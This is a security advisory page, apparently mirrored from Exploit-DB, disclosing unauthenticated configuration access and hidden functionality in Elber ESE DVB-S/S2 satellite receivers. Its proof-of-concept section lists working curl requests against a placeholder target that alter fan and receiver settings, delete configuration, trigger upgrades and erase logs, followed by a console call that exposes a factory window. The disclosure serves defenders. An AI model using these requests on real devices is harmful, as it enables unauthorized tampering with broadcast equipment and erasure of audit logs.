Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Configuration Vulnerability

vendor:

Elber ESE DVB-S/S2 Satellite Receiver

by:

Gjoko 'LiquidWorm' Krstic

6.1

CVSS

HIGH

Unauthenticated Device Configuration and Hidden Functionality Disclosure

CWE

Product Name: Elber ESE DVB-S/S2 Satellite Receiver

Affected Version From: 1.5.179 Revision 904

Affected Version To: 1.229 Revision 440

Patch Exists: NO

Related CWE:

CPE: h:elber:ese_dvb-s_s2_satellite_receiver:1.5.179

Metasploit:

Other Scripts:

Platforms Tested: NBFM Controller, embOS/IP

2023

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Configuration Vulnerability

The Elber ESE DVB-S/S2 Satellite Receiver 1.5.x devices suffer from an unauthenticated device configuration and client-side hidden functionality disclosure. An attacker can exploit this vulnerability to manipulate device configuration settings and reveal hidden functionalities without authentication.

Mitigation:

To mitigate this vulnerability, it is recommended to restrict network access to the device, apply the principle of least privilege, and regularly monitor and audit device configurations for unauthorized changes.

Source

Exploit-DB raw data:

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
                  1.5.56 Revision 884
                  1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5821
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5821.php


18.08.2023

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# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.